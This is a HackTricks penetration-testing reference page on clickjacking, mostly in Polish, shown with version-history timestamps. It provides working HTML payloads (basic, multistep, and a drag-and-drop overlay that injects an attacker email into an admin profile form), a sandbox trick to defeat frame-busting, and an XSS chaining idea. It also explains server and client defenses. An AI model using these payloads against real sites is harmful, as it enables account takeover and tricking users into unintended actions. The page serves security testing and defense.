hacktricks/pentesting-web/clickjacking.md

230 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
## What is Clickjacking
2024-02-06 03:10:38 +00:00
W ataku clickjacking, **użytkownik** jest **oszukiwany** do **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online.
### Prepopulate forms trick
Czasami możliwe jest **wypełnienie wartości pól formularza za pomocą parametrów GET podczas ładowania strony**. Atakujący może nadużyć tego zachowania, aby wypełnić formularz dowolnymi danymi i wysłać ładunek clickjacking, aby użytkownik nacisnął przycisk Wyślij.
2020-10-13 11:29:54 +00:00
### Populate form with Drag\&Drop
2020-10-13 11:29:54 +00:00
Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie jakichś konkretnych informacji (jak e-mail lub konkretne hasło, które znasz), możesz po prostu poprosić go o **przeciągnięcie i upuszczenie** czegoś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basic Payload
```markup
<style>
2024-02-11 01:46:25 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Wieloetapowy ładunek
```markup
<style>
2024-02-11 01:46:25 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click ładunek
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Jeśli zidentyfikowałeś **atak XSS, który wymaga, aby użytkownik kliknął** na jakiś element, aby **wywołać** XSS, a strona jest **vulnerable to clickjacking**, możesz to wykorzystać, aby oszukać użytkownika do kliknięcia przycisku/linku.\
2024-02-11 01:46:25 +00:00
Przykład:\
_Znalazłeś **self XSS** w niektórych prywatnych szczegółach konta (szczegóły, które **tylko ty możesz ustawić i odczytać**). Strona z **formularzem** do ustawienia tych szczegółów jest **vulnerable** na **Clickjacking** i możesz **wstępnie wypełnić** **formularz** parametrami GET._\
\_\_Atakujący mógłby przygotować atak **Clickjacking** na tę stronę **wstępnie wypełniając** **formularz** ładunkiem **XSS** i **oszukując** **użytkownika** do **wysłania** formularza. Tak więc, **gdy formularz zostanie wysłany** i wartości zostaną zmodyfikowane, **użytkownik wykona XSS**.
2024-02-11 01:46:25 +00:00
## Strategie łagodzenia Clickjacking
### Ochrona po stronie klienta
Skrypty wykonywane po stronie klienta mogą podejmować działania, aby zapobiec Clickjacking:
* Zapewnienie, że okno aplikacji jest głównym lub górnym oknem.
* Uczynienie wszystkich ramek widocznymi.
* Zapobieganie kliknięciom w niewidoczne ramki.
* Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty do łamania ramek mogą być obejście:
* **Ustawienia zabezpieczeń przeglądarek:** Niektóre przeglądarki mogą blokować te skrypty w zależności od ich ustawień zabezpieczeń lub braku wsparcia dla JavaScript.
* **Atrybut `sandbox` iframe HTML5:** Atakujący może zneutralizować skrypty do łamania ramek, ustawiając atrybut `sandbox` z wartościami `allow-forms` lub `allow-scripts` bez `allow-top-navigation`. To uniemożliwia iframe weryfikację, czy jest górnym oknem, np.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.
### Server-Side Defenses
#### X-Frame-Options
The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:
* `X-Frame-Options: deny` - Żaden domena nie może osadzić treści.
* `X-Frame-Options: sameorigin` - Tylko bieżąca strona może osadzić treść.
* `X-Frame-Options: allow-from https://trusted.com` - Tylko określony 'uri' może osadzić stronę.
* Zauważ ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors.
#### Content Security Policy (CSP) frame-ancestors directive
**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:
* `frame-ancestors 'none'` - Podobnie jak `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Podobnie jak `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Podobnie jak `X-Frame-Options: allow-from`.
For instance, the following CSP only allows framing from the same domain:
`Content-Security-Policy: frame-ancestors 'self';`
Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
### Content Security Policy (CSP) with `child-src` and `frame-src`
2024-02-06 03:10:38 +00:00
**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.
2024-02-06 03:10:38 +00:00
#### `frame-src` Directive
* Definiuje ważne źródła dla ramek.
* Bardziej szczegółowe niż dyrektywa `default-src`.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trusted-website.com.
2024-02-06 03:10:38 +00:00
2024-02-11 01:46:25 +00:00
#### Dyrektywa `child-src`
* Wprowadzona w poziomie 2 CSP w celu ustawienia ważnych źródeł dla pracowników sieciowych i ramek.
* Działa jako zapas dla frame-src i worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Ta polityka pozwala na ramki i pracowników z tego samego pochodzenia (self) oraz https://trusted-website.com.
2024-02-06 03:10:38 +00:00
**Uwagi dotyczące użytkowania:**
* Deprecacja: child-src jest stopniowo wycofywane na rzecz frame-src i worker-src.
* Zachowanie w przypadku braku: Jeśli frame-src jest nieobecne, child-src jest używane jako zapasowe dla ramek. Jeśli oba są nieobecne, używane jest default-src.
* Ścisła definicja źródła: Uwzględnij tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu.
2024-02-06 03:10:38 +00:00
#### Skrypty JavaScript łamiące ramki
2024-02-06 03:10:38 +00:00
Chociaż nie są całkowicie niezawodne, skrypty łamiące ramki oparte na JavaScript mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-11 01:46:25 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
2024-02-11 01:46:25 +00:00
#### Wykorzystanie tokenów Anti-CSRF
* **Walidacja tokenów:** Użyj tokenów anti-CSRF w aplikacjach internetowych, aby upewnić się, że żądania zmieniające stan są wykonywane celowo przez użytkownika, a nie przez stronę Clickjacked.
## Odniesienia
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
Uzyskaj dostęp już dziś:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Wsparcie dla HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}